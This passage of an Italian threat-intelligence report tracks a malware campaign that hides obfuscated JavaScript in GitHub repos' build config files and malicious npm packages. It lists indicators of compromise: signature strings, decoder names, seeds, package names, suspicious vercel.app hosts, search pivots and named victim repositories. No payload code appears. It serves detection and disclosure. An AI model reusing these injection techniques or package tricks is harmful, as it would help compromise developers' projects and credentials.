temp_auto_push.bat nella root del repository e qualsiasi config.bat referenziato da .gitignore. Anche se il payload JS offuscato è stato ripulito, questo file è prova diretta di un compromesso passato e dovrebbe attivare una rotazione delle credenziali.public/, static/, assets/ per file .woff / .woff2 inaspettati — il malware è stato osservato nascondere payload all'interno di file di font falsi (la sotto-variante "falso-font").package.json — in particolare eventuali pacchetti PostCSS/Tailwind recentemente aggiunti o aggiornati come tailwind-mainanimation, tailwind-autoanimation, e gli altri pacchetti npm elencati di seguito.node_modules per script postinstall: grep -r "postinstall" node_modules/*/package.jsonCot%3t=shtP dopo una precedente pulizia della variante rmcej%otb%. Scansiona periodicamente di nuovo.| File | Occorrenze (8 mar) | Occorrenze (10 apr) |
|---|
postcss.config.mjs | 416 | ~960 |
tailwind.config.js | 84 | ~210 |
eslint.config.mjs | 60 | ~150 |
postcss.config.js | 13 | ~40 |
App.js | 13 | ~30 |
next.config.mjs | 12 | ~30 |
index.js | 6 | ~25 |
astro.config.mjs | 6 | ~15 |
tailwind.config.mjs | 5 | ~12 |
vite.config.js / vite.config.mjs | — | ~20 |
webpack.config.js | — | ~15 |
gridsome.config.js | — | ~5 |
vue.config.js | — | ~10 |
truffle.js | — | ~5 |
temp_auto_push.bat (artefatto script di propagazione) | — | 101 |
file .woff2 dei font (sotto-variante falso-font) | — | osservato |
| Pacchetto | Versione più recente | Stato | Editore | Conteggio vittime osservato (11 apr) |
|---|
tailwindcss-style-animate | 1.1.6 | osservato | (account cancellato) | 34 ← dipendenza primaria ShoeVista |
tailwind-mainanimation | 2.3.3 → 0.0.1-security | RIMOSSO da npm (sostituito con segnaposto di sicurezza il 13-03-2026) | allavin (account cancellato) | 1 |
tailwind-autoanimation | 2.3.6 | RIMOSSO dal registro | blackedward (account cancellato) | 2 |
tailwind-animationbased | — | osservato | (account cancellato) | 0 |
tailwindcss-typography-style | 0.8.2 | osservato | (account cancellato) | 6 |
tailwindcss-style-modify | 0.8.3 | osservato | (account cancellato) | 4 |
tailwindcss-animate-style | 1.2.5 | osservato | (account cancellato) | 0 |
| Attributo | Variante originale | Nuova variante |
|---|
| Marcatore di firma | rmcej%otb% | Cot%3t=shtP |
| Seed di shuffling (livello 1) | 2857687 | 1111436 |
| Seed secondario (livello 2) | 2667686 | 3896884 |
| Nome funzione decoder | _$_1e42 | MDy |
| Globali iniettati | global['!'], global['r'], global['m'] | global['_V'], global['r'], global['m'] |
| Tipi di file presi di mira | postcss.config.mjs, tailwind.config.js, eslint.config.mjs, ecc. | (stessi) |
| Stile di iniezione | Aggiunto dopo export default legittimo / corpo del modulo | (stesso) |
| C2 Blockchain | TRON / Aptos / BSC | (stessi — indirizzi invariati) |
| Chiavi XOR | invariate | invariate |
alaminrifat/shoevista-rifat, Atik203/ShoeVista, DaviBarros/shoevista, IchaCoder/test-shoe, Anas-Ali-3673/Test-west-shoe, naime7132/client-2 (variante devhire)ShoeVista, shoevista-rifat, HedaetShahriar/ShoeVista-Test) o dalla piattaforma di colloquio (Test-002, test-shoe, test_upwork, test_west_shoe)| Sottodominio | Conteggio (11 apr) | Prima osservazione | Note |
|---|
260120.vercel.app | 56 | pre-Mar 8 | Query OSM originale Q11; pubblicata anche nel primo blog |
default-configuration.vercel.app | 106 | Apr 2026 | Il più grande cluster di un singolo sottodominio trovato finora |
vscode-settings-bootstrap.vercel.app | 16 | Apr 2026 | |
vscode-settings-config.vercel.app | 11 | Apr 2026 | |
vscode-bootstrapper.vercel.app | 6 | Apr 2026 | |
vscode-load-config.vercel.app | 6 | Apr 2026 |
| Nome file cercato | Risultati |
|---|
postcss.config.mjs | 416 |
tailwind.config.js | 84 |
eslint.config.mjs | 60 |
App.js | 13 |
postcss.config.js | 13 |
next.config.mjs | 12 |
index.js | 6 |
astro.config.mjs | 6 |
| Altri file di configurazione | 81 |
| Totale (pre-dedup) | 700 |
| Repository unici | 675 |
| # | Pivot | Motore | Repository unici contribuiti |
|---|
| 1 | filename:temp_auto_push.bat | GitHub Code Search | 101 |
| 2 | "_$_1e42" (con affinamento estensione/dimensione/fork) | GitHub Code Search | 1,323 |
| 3 | "function MDy(f)" global _V | GitHub Code Search | 14 |
| 4 | LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat | GitHub Code Search | 236 |
| 5 | Cot%3t=shtP regex con fork:yes archived:yes | Sourcegraph | 41 |
| Round 1 combinato | 1,556 | ||
| 6 | "<malicious_npm_package>" filename:package.json (7 pacchetti npm) | GitHub Code Search | 46 |
| 7 | <url> filename:tasks.json (vercel.app, onrender.com, 260120.vercel.app) | GitHub Code Search | 145 |
| 8 | "default-configuration.vercel.app" e 4 sottodomini vscode-*.vercel.app fratelli | GitHub Code Search | 94 |
| 9 | "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" (UUID template StakingGame) | GitHub Code Search | 42 |
| 10 | Enumerazione sequenziale '8-stN' 1–200 (verifica tag sequenziali non indicizzati) | Sourcegraph regex | 0 nuovi |
| Round 2 combinato | +215 | ||
| Totale unici (entrambi i round + CSV esistente) | 1,951 |
| Affinamento | total_count |
|---|
extension:js | 430 |
extension:mjs | 676 |
extension:cjs | 17 |
extension:ts | 7 |
extension:html | 1 |
size:<5000 | 4 |
size:5000..6000 | 630 |
size:6000..7000 | 125 |
size:7000..8000 | 139 |
size:8000..9000 | 56 |
size:9000..10000 | 36 |
size:10000..50000 | 112 |
size:>50000 | 12 |
fork:true | 157 (escluso per impostazione predefinita!) |
| Fonte | Repository unici | Proprietari unici |
|---|
| Pubblicazione originale 8 Mar | 675 | 352 |
affected_repos.csv (agg. 18 Mar) | 769 | 399 |
| Master v3 del 10 apr (5 pivot) | 1,556 | 835 |
| Round 2 dell'11 apr (5 pivot aggiuntivi) | +215 netti | +158 netti |
| Unione (vero ambito, 11 apr) | 1,951 | 1,047 |
| File | Descrizione |
|---|
README.md | Questo report |
polinrider-rides-again.md | Blog di follow-up (11 apr) che copre la crescita della campagna, la fusione TasksJacker / PolinRider e l'ingegneria inversa completa del payload end-to-end |
affected_repos.csv | Repository compromessi — prima le organizzazioni, poi gli utenti, ciascuno ordinato per stelle+forks decrescenti. Nota: al 2026-04-11 questo CSV contiene 769 voci dalla raccolta del 18 marzo. Le cacce del 10–11 aprile hanno aggiunto ~1.180 nuovi repo che non sono ancora stati incorporati in questo CSV (sono tracciati in reports/polinrider-master-v3-1556.tsv e reports/polinrider-round2-repos.txt). L'ambito noto reale è 1.951 repository unici. |
affected_users.csv | Proprietari compromessi — prima le organizzazioni, poi gli utenti, ciascuno ordinato per follower decrescenti. Al 2026-04-11 contiene 399 voci; l'unione della caccia di aprile è di 1.047 proprietari. |
reports/polinrider-master-v3-1556.tsv | Elenco principale caccia del 10 aprile: repo \t osm_status \t threat_id \t severity \t sources per tutti i 1.556 repo trovati nella caccia v3 |
reports/polinrider-new-v3.tsv | I 705 repo appena aggiunti a OSM il 2026-04-10 |
reports/polinrider-round2-repos.txt | Elenco principale pulito del Round 2 (239 repo unici dai 5 nuovi pivot) |
reports/polinrider-round2-submissions-2026-04-11.tsv | I 72 repo appena aggiunti a OSM il 2026-04-11 (round 2) |
reports/polinrider-scope-v3-2026-04-10.md | Report completo dell'ambito v3 inclusa la metodologia di affinamento e l'analisi dei falsi positivi |
reports/polinrider-submissions-2026-04-10.md | Report di segnalazione di massa per le 704 segnalazioni di minacce OSM presentate il 2026-04-10 |
reports/polinrider-scope-v3-2026-04-10.md | Report dell'ambito v3 |
| Repository | Stelle | Forks | File infetto |
|---|
Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | 6 | 11 | postcss.config.mjs |
Victorola-coder/tewo | 9 | 6 | tailwind.config.js |
Kreliannn/Document-Request-System-FRONTEND | 8 | 1 | postcss.config.mjs |
Atik203/Scholar-Flow | 4 | 4 | postcss.config.mjs |
sparktechagency/Vap-shop-Front-End- | 7 | 0 | postcss.config.mjs |
Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND | 7 | 0 | postcss.config.mjs |
coderkhalide/Anti-Detect-Browser | 2 | 4 | tailwind.config.js |
tanushbhootra576/Bionary-Website-Challenge-and-final | 4 | 2 | tailwind.config.js |
tanushbhootra576/collegeConnect | 5 | 1 | postcss.config.mjs |
Kreliannn/commision_portfolio | 6 | 0 | postcss.config.mjs |
| Organizzazione | Follower | Repo compromessi |
|---|
sparktechagency | 130 | 12 |
FSDTeam-SAA | 21 | 12 |
Softvence-Omega-Dev-Ninjas | 18 | 4 |
Codechef-VITC-Student-Chapter | 17 | 1 |
softvence-omega-future-stack | 11 | 4 |
The-Extra-Project | 11 | 1 |
etrainermis | 7 | 1 |
tricodenetwork | 7 | 1 |
Binary-Mindz | 6 | 1 |
Gamage-Recruiters-406 | 5 | 1 |
| Utente | Follower | Repo compromessi |
|---|
coderkhalide | 349 | 4 |
finom | 172 | 4 |
Victorola-coder | 121 | 1 |
dhruvmalik007 | 87 | 6 |
saif72437 | 57 | 2 |
a-belard | 43 | 1 |
Muhammadfaizanjanjua109 | 39 | 1 |
Nathanim1919 | 38 | 5 |
kanchana404 | 33 | 3 |
AKDebug-UX | 30 | 4 |